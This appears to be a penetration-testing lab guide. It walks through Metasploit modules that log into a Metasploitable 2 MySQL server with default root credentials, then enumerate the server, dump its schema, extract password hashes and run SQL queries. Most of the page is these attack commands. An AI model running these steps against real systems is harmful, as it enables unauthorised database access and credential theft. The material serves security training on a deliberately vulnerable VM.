MySQL / MariaDB Default Credentials (MySQL Protocol)
MySQL / MariaDB Default Credentials (MySQL Protocol)
Note: these labs are extremely oriented to the results, using a step-by-step guidance. During your progress, try to find more information and understand what you are doing.
Note 2: this exploit may not work on more recent versions of the Metasploit Framework.
Requirements
Metaploitable 2
The Metasploitable 2 VM
Metasploitable Framework
Metasploit Framework toolset (installed on Kali Linux by default)
Metasploitable 2 IP
The IP address of the Metasploitable 2 VM. In my case it is 192.168.8.142. This may be different in your specific case.
Laboratory Workflow
The following describe the different steps to be conducted during the laboratory. You may introduce variations on this and learn from those variations.
1. Launch the Metasploit Framework
msfconsole
2. Search for the appropriate module
search mysql_login
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/mysql/mysql_login normal No MySQL Login Utility3. Use the module
use auxiliary/scanner/mysql/mysql_login
4. Check the module options
options
5. Set the appropriate options
set RHOSTS 192.168.8.142
6. Run the exploit
run
7. Run MySQL enumerator to get info from database server
This will enable the collection from the database.
use auxiliary/admin/mysql/mysql_enum
options
set RHOSTS 192.168.8.142
set USERNAME root
run
8. Dump database schema
This will access and dump the database schema.
use auxiliary/scanner/mysql/mysql_schemadump
options
set USERNAME root
set RHOSTS 192.168.8.142
run
9. Get MySQL password hashes
Try to obtain additional password hashes on the database.
use auxiliary/scanner/mysql/mysql_hashdump
options
set USERNAME root
set RHOSTS 192.168.8.142
run
10. Run MySQL queries
Try to run SQL queries on the database.
use auxiliary/admin/mysql/mysql_sql
options
set USERNAME root
set RHOSTS 192.168.8.142
run
set SQL show databases
run
Video
Video that resumes everything on this laboratory.

Questions
Now that you have completed this exploitation try to answer to following:
Now, what can I do with the exploitation achieved?
Which type of privileges do I have on the exploited target?
How was this accomplished?
Try to learn more about this vulnerability.
Last updated